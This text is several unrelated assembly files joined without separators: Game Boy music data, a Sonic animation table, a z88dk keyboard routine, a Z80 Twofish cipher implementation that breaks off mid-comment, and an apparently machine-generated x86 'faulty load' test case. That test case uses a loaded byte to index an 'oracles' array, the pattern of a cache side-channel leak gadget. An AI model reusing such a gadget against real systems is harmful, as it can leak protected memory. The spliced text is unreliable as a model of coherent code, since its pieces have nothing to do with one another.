SetInstrument,id_CharSelArp,Arp,1,$47,D_4,6 dbw CallSection,.block1 dbw CallSection,.block1 dbw CallSection,.block1 db SetInstrument,id_Tink,fix,4,fix,2 db SetInstrument,id_CharSelArp,Arp,1,$37,B_3,6 Drum Tom,4 db SetInstrument,id_Tink,fix,2 db SetInstrument,id_CharSelArp,Arp,1,$47,A_3,6 db GotoLoopPoint .block1 db SetInstrument,id_Tink,fix,4,fix,2 db SetInstrument,id_CharSelArp,Arp,1,$37,B_3,6 Drum Tom,4 db SetInstrument,id_Tink,fix,2 db SetInstrument,id_CharSelArp,Arp,1,$37,B_3,6 ret CharSel_CH3: db SetInstrument,id_CharSelBass ; intro db B_3,2,A_3,2,F#3,2,E_3,2,D_3,2,A_2,2,SetLoopPoint ; loop dbw CallSection,.block1 db E_3,4,B_2,2,D_3,2,PitchBendUp,4,___,4,PitchBendUp,0 dbw CallSection,.block1 db D_3,4,B_2,2,A_2,4,A#2,2 db GotoLoopPoint .block1 db B_2,6,A_2,6,F#2,4,A_2,6,B_2,6,B_2,2,D_3,4,B_2,2 ret CharSel_CH4: ; intro Drum Snare,2 rept 5 db fix,2 endr ; loop db SetLoopPoint dbw CallSection,.block1 Drum OHH,2 dbw CallSection,.block1 Drum Snare,2 db GotoLoopPoint .block1 Drum Kick,4 Drum CHH,2 Drum Kick,4 db fix,2 Drum Snare,4 Drum CHH,2 Drum OHH,4 Drum Kick,2 Drum CHH,4 Drum Kick,2 db fix,4 Drum CHH,2 Drum Snare,4 Drum CHH,2 Drum Kick,4 ret ; ================================================================= PT_LoseHorn: dw LoseHorn_CH1,LoseHorn_CH2,DummyChannel,DummyChannel LoseHorn_CH1: db SetInstrument,id_LoseHorn db B_4,4,rest,2,G#4,2,rest,2,C#5,2,B_4,4,rest,2,G#4,4,rest,2 db EndChannel LoseHorn_CH2: db SetInstrument,id_LoseHorn2 db A#4,4,rest,2,G_4,2,rest,2,C_5,2,A#4,4,rest,2,G_4,4,rest,2 db EndChannel
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1495e, %r8 nop sub %rcx, %rcx movl $0x61626364, (%r8) nop nop and %rsi, %rsi lea addresses_WT_ht+0x1e644, %rbp clflush (%rbp) nop nop nop sub $15771, %rsi movw $0x6162, (%rbp) nop xor $5677, %rbx lea addresses_D_ht+0x6808, %r13 nop nop nop cmp $1131, %rbp mov $0x6162636465666768, %rcx movq %rcx, %xmm2 movups %xmm2, (%r13) nop nop sub %r13, %r13 lea addresses_normal_ht+0x14842, %rsi lea addresses_WC_ht+0x8504, %rdi nop nop nop xor $35262, %r13 mov $32, %rcx rep movsw nop nop nop nop sub $47818, %rcx lea addresses_D_ht+0x195b4, %rcx add %rsi, %rsi mov (%rcx), %rdi nop nop xor $12924, %rbp lea addresses_normal_ht+0x1cdb4, %rbp xor %r8, %r8 mov (%rbp), %r13w nop nop nop sub %r8, %r8 lea addresses_D_ht+0x85b4, %rcx clflush (%rcx) nop nop add %rbx, %rbx mov (%rcx), %ebp nop nop nop cmp %r13, %r13 lea addresses_WC_ht+0x388c, %rbp nop nop nop nop nop cmp $35150, %rdi movl $0x61626364, (%rbp) nop cmp %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %rax push %rbx push %rcx push %rdi // Store lea addresses_A+0x69b4, %rdi nop nop nop nop nop inc %r14 mov $0x5152535455565758, %rcx movq %rcx, %xmm2 vmovups %ymm2, (%rdi) nop xor %r14, %r14 // Store mov $0x3967a000000005b4, %rdi nop nop and $38611, %r12 movl $0x51525354, (%rdi) nop nop nop nop nop sub $48606, %rcx // Load mov $0x5ad4f100000009b4, %r12 nop nop and %r15, %r15 mov (%r12), %bx and $30821, %rbx // Store lea addresses_WT+0x1fdb4, %r15 nop nop add %rcx, %rcx movb $0x51, (%r15) nop add %r12, %r12 // Store lea addresses_WT+0x152b4, %rcx nop xor $57642, %r15 movw $0x5152, (%rcx) nop nop nop nop inc %r12 // Faulty Load lea addresses_UC+0x185b4, %r12 nop nop nop xor $45244, %rcx mov (%r12), %ebx lea oracles, %r14 and $0xff, %rbx shlq $12, %rbx mov (%r14,%rbx,1), %rbx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_NC', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}} {'54': 2405} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
; --------------------------------------------------------------------------- ; Animation script - bubbles (LZ) ; --------------------------------------------------------------------------- dc.w byte_129AA-Ani_obj64 dc.w byte_129B0-Ani_obj64 dc.w byte_129B6-Ani_obj64 dc.w byte_129BE-Ani_obj64 dc.w byte_129BE-Ani_obj64 dc.w byte_129C0-Ani_obj64 dc.w byte_129C6-Ani_obj64 byte_129AA: dc.b $E, 0, 1, 2, $FC, 0 byte_129B0: dc.b $E, 1, 2, 3, 4, $FC byte_129B6: dc.b $E, 2, 3, 4, 5, 6, $FC, 0 byte_129BE: dc.b 4, $FC byte_129C0: dc.b 4, 6, 7, 8, $FC, 0 byte_129C6: dc.b $F, $13, $14, $15, $FF even
; void in_WaitForNoKey(void) ; 09.2005 aralbrec SECTION code_clib PUBLIC in_WaitForNoKey PUBLIC _in_WaitForNoKey ; uses : AF .in_WaitForNoKey ._in_WaitForNoKey xor a in a,($b2) and 127 cp 127 jr nz, in_WaitForNoKey ret
;; Full Keying 128 bit Twofish in ECB Mode ;; ;; Author: Fritz Schneider (fritz.schneider@iname.com) ;; ;; This code was written as part of a project in one of my classes ;; (Microprocessor Lab) at Columbia University. It is placed in the public ;; domain. ;; ;; Notes: * The implementation leaves a lot to be desired. This is the first ;; large piece of assembly code that I've written so it was more ;; than anything a learning experience. Its not optimized and needs ;; to be streamlined; but it works and thats what was important for ;; the project. I would have liked to start over and do it 'right' ;; knowing what I know now, but due to my coursework, the demands of ;; other aspects of the project, and an advanced case of senioritis ;; I didn't get around to it :) In particular, the MDS functionality ;; definitely needs to be compacted and generalized. ;; ;; * There is no good macro assembler for the Z80 that runs on *nix. So ;; this code is a world of kludge: NASM's preprocessor is used to ;; expand the macros (nasm -e) and then a small perl script I wrote: ;; ;; #!/usr/bin/perl ;; while (<>) { ;; s/^[%].*$/\n/; ;; s/^[[]org (.*)[]].*$/\tORG $1\n/; ;; print; ;; } ;; ;; reformats it to undo NASM-isms before actual assembly. ;; ;; * Careful when fooling with some of the code. I often use the fact ;; that data doesn't cross 256 byte boundaries to do operations. Eg, ;; xor4HL. This allows me to increment L and E without worrying about ;; H and D. To fix, just replace the inc l and inc e with inc hl and ;; inc de, etc. ;; ;; * Total size is 7548 bytes: 2428 code & 5120 tables ;; ;; * Encrypts at about 10.9 ms/block @ 4Mhz after key setup ;; ;; * Code size can be SIGNIFICANTLY decreased by turning macro calls such ;; as Finish?MDS and so forth into subroutines. The performance hit is ;; only a couple thousand cycles per block but would save perhaps 400 ;; bytes or more in size. ;; ;; ;; The Project: In case you're interested, this code formed the core of a ;; project that we undertook for a class. We built a floppy disk encryption ;; device that encrypted/decrypted 1.44 meg floppies according to a key ;; entered on a hex keypad. As the actual clock speed was 3.57Mhz, we ended up ;; going with a reduced round variant to make it practical. To a z80 'trainer' ;; we added some extra RAM (and chip select logic), a DMA controller, and a ;; floppy controller generously donated by SMC. My partners (nam15 and smk37 ;; @columbia.edu) wrote most of the floppy drivers and such. Note that we're ;; graduating seniors so my partners' email addresses will only be valid ;; through about 9/1999. PS I chose ECB instead of CBC to allow random access ;; to sectors. Reveals form of plaintext but this was just for fun :P ;;; ========================================================================= ;;; Storage space, constants, and tables ;;; ========================================================================= ORG 1800H ; The user memory on our 'trainer' starts at 1800H ;;; These arrays hold full precomputations including MDS mult. Si_ROWj[k] ;;; is the output of sbox i multiplied by the appropriate MDS value for row j ;;; on input k. Note that these arrays MUST be aligned on 256 byte frames. ;;; In other words, their low order address bytes MUST be 00H. S0_ROW1: DEFS 256 S0_ROW2: DEFS 256 S0_ROW3: DEFS 256 S0_ROW4: DEFS 256 S1_ROW1: DEFS 256 S1_ROW2: DEFS 256 S1_ROW3: DEFS 256 S1_ROW4: DEFS 256 S2_ROW1: DEFS 256 S2_ROW2: DEFS 256 S2_ROW3: DEFS 256 S2_ROW4: DEFS 256 S3_ROW1: DEFS 256 S3_ROW2: DEFS 256 S3_ROW3: DEFS 256 S3_ROW4: DEFS 256 S0_ADD equ S0_ROW1/256 ; the high order address bytes of the arrays S1_ADD equ S1_ROW1/256 S2_ADD equ S2_ROW1/256 S3_ADD equ S3_ROW1/256 BLK_SIZE equ 16 ; hardcoded for 128 bits ; Ciphertext and plaintext are stored here in MyText ; Note that MyText is at location 2800H MyText: DEFS 16 ;remove defs and put yer test vectors here ;DEFB 01BH, 01BH, 018H, 06DH, 0FEH, 04FH, 01FH, 0C4H ;DEFB 038H, 05BH, 0C7H, 06FH, 0F3H, 0CAH, 040H, 027H KEY: DEFS 16 ;remove defs and put test vector key here if you like ;DEFB 084H, 043H, 087H, 031H, 008H, 05DH, 033H, 0F6H ;DEFB 08EH, 0E4H, 02BH, 040H, 0D9H, 022H, 083H, 07DH Me: DEFS BLK_SIZE/2 ; Even keywords Mo: DEFS BLK_SIZE/2 ; Odd keywords S: DEFS BLK_SIZE/2 ; S, the XOR material for the Sboxes K: DEFS 160 ; Rounds subkeys ASbKey: DEFS 4 ; Used in computation of round subkeys BSbKey: DEFS 4 ; ditto RESULT1: DEFS 4 ; output of one g function RESULT2: DEFS 4 ; output of the other TEMP32_1: DEFS 4 ; temporary storage used by MDS, eg ; the fixed permutation p0 lookup table p0: DEFB 0A9h, 067h, 0B3h, 0E8h, 004h, 0FDh, 0A3h, 076h DEFB 09Ah, 092h, 080h, 078h, 0E4h, 0DDh, 0D1h, 038h DEFB 00Dh, 0C6h, 035h, 098h, 018h, 0F7h, 0ECh, 06Ch DEFB 043h, 075h, 037h, 026h, 0FAh, 013h, 094h, 048h DEFB 0F2h, 0D0h, 08Bh, 030h, 084h, 054h, 0DFh, 023h DEFB 019h, 05Bh, 03Dh, 059h, 0F3h, 0AEh, 0A2h, 082h DEFB 063h, 001h, 083h, 02Eh, 0D9h, 051h, 09Bh, 07Ch DEFB 0A6h, 0EBh, 0A5h, 0BEh, 016h, 00Ch, 0E3h, 061h DEFB 0C0h, 08Ch, 03Ah, 0F5h, 073h, 02Ch, 025h, 00Bh DEFB 0BBh, 04Eh, 089h, 06Bh, 053h, 06Ah, 0B4h, 0F1h DEFB 0E1h, 0E6h, 0BDh, 045h, 0E2h, 0F4h, 0B6h, 066h DEFB 0CCh, 095h, 003h, 056h, 0D4h, 01Ch, 01Eh, 0D7h DEFB 0FBh, 0C3h, 08Eh, 0B5h, 0E9h, 0CFh, 0BFh, 0BAh DEFB 0EAh, 077h, 039h, 0AFh, 033h, 0C9h, 062h, 071h DEFB 081h, 079h, 009h, 0ADh, 024h, 0CDh, 0F9h, 0D8h DEFB 0E5h, 0C5h, 0B9h, 04Dh, 044h, 008h, 086h, 0E7h DEFB 0A1h, 01Dh, 0AAh, 0EDh, 006h, 070h, 0B2h, 0D2h DEFB 041h, 07Bh, 0A0h, 011h, 031h, 0C2h, 027h, 090h DEFB 020h, 0F6h, 060h, 0FFh, 096h, 05Ch, 0B1h, 0ABh DEFB 09Eh, 09Ch, 052h, 01Bh, 05Fh, 093h, 00Ah, 0EFh DEFB 091h, 085h, 049h, 0EEh, 02Dh, 04Fh, 08Fh, 03Bh DEFB 047h, 087h, 06Dh, 046h, 0D6h, 03Eh, 069h, 064h DEFB 02Ah, 0CEh, 0CBh, 02Fh, 0FCh, 097h, 005h, 07Ah DEFB 0ACh, 07Fh, 0D5h, 01Ah, 04Bh, 00Eh, 0A7h, 05Ah DEFB 028h, 014h, 03Fh, 029h, 088h, 03Ch, 04Ch, 002h DEFB 0B8h, 0DAh, 0B0h, 017h, 055h, 01Fh, 08Ah, 07Dh DEFB 057h, 0C7h, 08Dh, 074h, 0B7h, 0C4h, 09Fh, 072h DEFB 07Eh, 015h, 022h, 012h, 058h, 007h, 099h, 034h DEFB 06Eh, 050h, 0DEh, 068h, 065h, 0BCh, 0DBh, 0F8h DEFB 0C8h, 0A8h, 02Bh, 040h, 0DCh, 0FEh, 032h, 0A4h DEFB 0CAh, 010h, 021h, 0F0h, 0D3h, 05Dh, 00Fh, 000h DEFB 06Fh, 09Dh, 036h, 042h, 04Ah, 05Eh, 0C1h, 0E0h ; the fixed permutation p1 lookup table p1: DEFB 075h, 0F3h, 0C6h, 0F4h, 0DBh, 07Bh, 0FBh, 0C8h DEFB 04Ah, 0D3h, 0E6h, 06Bh, 045h, 07Dh, 0E8h, 04Bh DEFB 0D6h, 032h, 0D8h, 0FDh, 037h, 071h, 0F1h, 0E1h DEFB 030h, 00Fh, 0F8h, 01Bh, 087h, 0FAh, 006h, 03Fh DEFB 05Eh, 0BAh, 0AEh, 05Bh, 08Ah, 000h, 0BCh, 09Dh DEFB 06Dh, 0C1h, 0B1h, 00Eh, 080h, 05Dh, 0D2h, 0D5h DEFB 0A0h, 084h, 007h, 014h, 0B5h, 090h, 02Ch, 0A3h DEFB 0B2h, 073h, 04Ch, 054h, 092h, 074h, 036h, 051h DEFB 038h, 0B0h, 0BDh, 05Ah, 0FCh, 060h, 062h, 096h DEFB 06Ch, 042h, 0F7h, 010h, 07Ch, 028h, 027h, 08Ch DEFB 013h, 095h, 09Ch, 0C7h, 024h, 046h, 03Bh, 070h DEFB 0CAh, 0E3h, 085h, 0CBh, 011h, 0D0h, 093h, 0B8h DEFB 0A6h, 083h, 020h, 0FFh, 09Fh, 077h, 0C3h, 0CCh DEFB 003h, 06Fh, 008h, 0BFh, 040h, 0E7h, 02Bh, 0E2h DEFB 079h, 00Ch, 0AAh, 082h, 041h, 03Ah, 0EAh, 0B9h DEFB 0E4h, 09Ah, 0A4h, 097h, 07Eh, 0DAh, 07Ah, 017h DEFB 066h, 094h, 0A1h, 01Dh, 03Dh, 0F0h, 0DEh, 0B3h DEFB 00Bh, 072h, 0A7h, 01Ch, 0EFh, 0D1h, 053h, 03Eh DEFB 08Fh, 033h, 026h, 05Fh, 0ECh, 076h, 02Ah, 049h DEFB 081h, 088h, 0EEh, 021h, 0C4h, 01Ah, 0EBh, 0D9h DEFB 0C5h, 039h, 099h, 0CDh, 0ADh, 031h, 08Bh, 001h DEFB 018h, 023h, 0DDh, 01Fh, 04Eh, 02Dh, 0F9h, 048h DEFB 04Fh, 0F2h, 065h, 08Eh, 078h, 05Ch, 058h, 019h DEFB 08Dh, 0E5h, 098h, 057h, 067h, 07Fh, 005h, 064h DEFB 0AFh, 063h, 0B6h, 0FEh, 0F5h, 0B7h, 03Ch, 0A5h DEFB 0CEh, 0E9h, 068h, 044h, 0E0h, 04Dh, 043h, 069h DEFB 029h, 02Eh, 0ACh, 015h, 059h, 0A8h, 00Ah, 09Eh DEFB 06Eh, 047h, 0DFh, 034h, 035h, 06Ah, 0CFh, 0DCh DEFB 022h, 0C9h, 0C0h, 09Bh, 089h, 0D4h, 0EDh, 0ABh DEFB 012h, 0A2h, 00Dh, 052h, 0BBh, 002h, 02Fh, 0A9h DEFB 0D7h, 061h, 01Eh, 0B4h, 050h, 004h, 0F6h, 0C2h DEFB 016h, 025h, 086h, 056h, 055h, 009h, 0BEh, 091h ; lookup table for MDS multiply. tab5B[i] contains result of i * 5B tab5B: DEFB 000h, 05Bh, 0B6h, 0EDh, 005h, 05Eh, 0B3h, 0E8h DEFB 00Ah, 051h, 0BCh, 0E7h, 00Fh, 054h, 0B9h, 0E2h DEFB 014h, 04Fh, 0A2h, 0F9h, 011h, 04Ah, 0A7h, 0FCh DEFB 01Eh, 045h, 0A8h, 0F3h, 01Bh, 040h, 0ADh, 0F6h DEFB 028h, 073h, 09Eh, 0C5h, 02Dh, 076h, 09Bh, 0C0h DEFB 022h, 079h, 094h, 0CFh, 027h, 07Ch, 091h, 0CAh DEFB 03Ch, 067h, 08Ah, 0D1h, 039h, 062h, 08Fh, 0D4h DEFB 036h, 06Dh, 080h, 0DBh, 033h, 068h, 085h, 0DEh DEFB 050h, 00Bh, 0E6h, 0BDh, 055h, 00Eh, 0E3h, 0B8h DEFB 05Ah, 001h, 0ECh, 0B7h, 05Fh, 004h, 0E9h, 0B2h DEFB 044h, 01Fh, 0F2h, 0A9h, 041h, 01Ah, 0F7h, 0ACh DEFB 04Eh, 015h, 0F8h, 0A3h, 04Bh, 010h, 0FDh, 0A6h DEFB 078h, 023h, 0CEh, 095h, 07Dh, 026h, 0CBh, 090h DEFB 072h, 029h, 0C4h, 09Fh, 077h, 02Ch, 0C1h, 09Ah DEFB 06Ch, 037h, 0DAh, 081h, 069h, 032h, 0DFh, 084h DEFB 066h, 03Dh, 0D0h, 08Bh, 063h, 038h, 0D5h, 08Eh DEFB 0A0h, 0FBh, 016h, 04Dh, 0A5h, 0FEh, 013h, 048h DEFB 0AAh, 0F1h, 01Ch, 047h, 0AFh, 0F4h, 019h, 042h DEFB 0B4h, 0EFh, 002h, 059h, 0B1h, 0EAh, 007h, 05Ch DEFB 0BEh, 0E5h, 008h, 053h, 0BBh, 0E0h, 00Dh, 056h DEFB 088h, 0D3h, 03Eh, 065h, 08Dh, 0D6h, 03Bh, 060h DEFB 082h, 0D9h, 034h, 06Fh, 087h, 0DCh, 031h, 06Ah DEFB 09Ch, 0C7h, 02Ah, 071h, 099h, 0C2h, 02Fh, 074h DEFB 096h, 0CDh, 020h, 07Bh, 093h, 0C8h, 025h, 07Eh DEFB 0F0h, 0ABh, 046h, 01Dh, 0F5h, 0AEh, 043h, 018h DEFB 0FAh, 0A1h, 04Ch, 017h, 0FFh, 0A4h, 049h, 012h DEFB 0E4h, 0BFh, 052h, 009h, 0E1h, 0BAh, 057h, 00Ch DEFB 0EEh, 0B5h, 058h, 003h, 0EBh, 0B0h, 05Dh, 006h DEFB 0D8h, 083h, 06Eh, 035h, 0DDh, 086h, 06Bh, 030h DEFB 0D2h, 089h, 064h, 03Fh, 0D7h, 08Ch, 061h, 03Ah DEFB 0CCh, 097h, 07Ah, 021h, 0C9h, 092h, 07Fh, 024h DEFB 0C6h, 09Dh, 070h, 02Bh, 0C3h, 098h, 075h, 02Eh ; lookup table for MDS multiply. tabEF[i] contains result of i * EF tabEF: DEFB 000h, 0EFh, 0B7h, 058h, 007h, 0E8h, 0B0h, 05Fh DEFB 00Eh, 0E1h, 0B9h, 056h, 009h, 0E6h, 0BEh, 051h DEFB 01Ch, 0F3h, 0ABh, 044h, 01Bh, 0F4h, 0ACh, 043h DEFB 012h, 0FDh, 0A5h, 04Ah, 015h, 0FAh, 0A2h, 04Dh DEFB 038h, 0D7h, 08Fh, 060h, 03Fh, 0D0h, 088h, 067h DEFB 036h, 0D9h, 081h, 06Eh, 031h, 0DEh, 086h, 069h DEFB 024h, 0CBh, 093h, 07Ch, 023h, 0CCh, 094h, 07Bh DEFB 02Ah, 0C5h, 09Dh, 072h, 02Dh, 0C2h, 09Ah, 075h DEFB 070h, 09Fh, 0C7h, 028h, 077h, 098h, 0C0h, 02Fh DEFB 07Eh, 091h, 0C9h, 026h, 079h, 096h, 0CEh, 021h DEFB 06Ch, 083h, 0DBh, 034h, 06Bh, 084h, 0DCh, 033h DEFB 062h, 08Dh, 0D5h, 03Ah, 065h, 08Ah, 0D2h, 03Dh DEFB 048h, 0A7h, 0FFh, 010h, 04Fh, 0A0h, 0F8h, 017h DEFB 046h, 0A9h, 0F1h, 01Eh, 041h, 0AEh, 0F6h, 019h DEFB 054h, 0BBh, 0E3h, 00Ch, 053h, 0BCh, 0E4h, 00Bh DEFB 05Ah, 0B5h, 0EDh, 002h, 05Dh, 0B2h, 0EAh, 005h DEFB 0E0h, 00Fh, 057h, 0B8h, 0E7h, 008h, 050h, 0BFh DEFB 0EEh, 001h, 059h, 0B6h, 0E9h, 006h, 05Eh, 0B1h DEFB 0FCh, 013h, 04Bh, 0A4h, 0FBh, 014h, 04Ch, 0A3h DEFB 0F2h, 01Dh, 045h, 0AAh, 0F5h, 01Ah, 042h, 0ADh DEFB 0D8h, 037h, 06Fh, 080h, 0DFh, 030h, 068h, 087h DEFB 0D6h, 039h, 061h, 08Eh, 0D1h, 03Eh, 066h, 089h DEFB 0C4h, 02Bh, 073h, 09Ch, 0C3h, 02Ch, 074h, 09Bh DEFB 0CAh, 025h, 07Dh, 092h, 0CDh, 022h, 07Ah, 095h DEFB 090h, 07Fh, 027h, 0C8h, 097h, 078h, 020h, 0CFh DEFB 09Eh, 071h, 029h, 0C6h, 099h, 076h, 02Eh, 0C1h DEFB 08Ch, 063h, 03Bh, 0D4h, 08Bh, 064h, 03Ch, 0D3h DEFB 082h, 06Dh, 035h, 0DAh, 085h, 06Ah, 032h, 0DDh DEFB 0A8h, 047h, 01Fh, 0F0h, 0AFh, 040h, 018h, 0F7h DEFB 0A6h, 049h, 011h, 0FEh, 0A1h, 04Eh, 016h, 0F9h DEFB 0B4h, 05Bh, 003h, 0ECh, 0B3h, 05Ch, 004h, 0EBh DEFB 0BAh, 055h, 00Dh, 0E2h, 0BDh, 052h, 00Ah, 0E5h ;;; ========================================================================= ;;; Macros ;;; ========================================================================= ;;; ========================================================================= ;;; copy4 -- copies four bytes to a location in memory ;;; Args: 2, the first IXY is the destination, the second IXY the source ;;; Result: four bytes starting at %2 copied into mem starting at %1 ;;; Clobbers: HL ;;; ========================================================================= %macro copy4 2 ld hl,(%2) ld (%1),hl ld hl,(%2+2) ld (%1+2),hl %endmacro ;;; ========================================================================= ;;; dup4 -- writes four bytes of the accumulator content to memory ;;; Args: 1, IXY points to destination ;;; Result: copies value in A into four bytes starting at %1 ;;; Clobbers: ;;; ========================================================================= %macro dup4 1 ld (%1+0),a ld (%1+1),a ld (%1+2),a ld (%1+3),a %endmacro ;;; ========================================================================= ;;; add4MEM -- 32 bit add where both operands are in memory ;;; Args: 2, memory locations; the result of the add placed in first arg ;;; Result: 32 bit add. Does (%1) = (%1) + (%2) ;;; Clobbers: DEHL ;;; ========================================================================= %macro add4MEM 2 ld de, (%1) ; grab first two bytes ld hl,(%2) add hl,de ; add first two bytes ld (%1),hl ; store result ld de, (%1+2) ; upper half ld hl,(%2+2) adc hl,de ; add with carry ld (%1+2),hl ; store result %endmacro ;;; ========================================================================= ;;; add4HL -- 32 bit add, one operand ptd to by HL, steps past operands ;;; Args: 1, mem location of first word operand ;;; HL should point to beginning of second operand ;;; Result: 32 bit add. adds 32 bits pointed to by %1 with those pointed ;;; to by HL and stores results in %1. HL is incremented by 4. ;;; Clobbers: ADE, and HL is incremented by four, DE points to %1 + 4 ;;; ========================================================================= %macro add4HL 1 ld de,%1 ; load location of first operand ld a, (de) ; bring in first byte add a,(hl) ; add ld (de), a ; and store inc hl ; step to next byte inc de ld a, (de) adc a,(hl) ; add again, this time with carry ld (de), a inc hl inc de ld a, (de) adc a,(hl) ld (de), a inc hl inc de ld a, (de) adc a,(hl) ld (de), a inc hl ; final increment. doing it this way inc de ; speeds up main loop a bit %endmacro ;;; ========================================================================= ;;; xor16 -- XORs 16 bytes in memory ;;; Args: 2, memory locations: the start of bytes to XOR ;;; Result: XORs 16 bytes starting at %1 and %2. Result into %1 ;;; Clobbers: ABDEHL ;;; ========================================================================= %macro xor16 2 ld hl,%2 ; point HL and DE to memory ld de,%1 ld b,10H ; going to do 16 = 10H bytes %%xlp: ld a,(de) ; load one byte xor (hl) ; xor it ld (de),a ; store inc hl ; step up pointers inc de djnz %%xlp ; loop %endmacro ;;; ========================================================================= ;;; xor4HL -- XOR 4 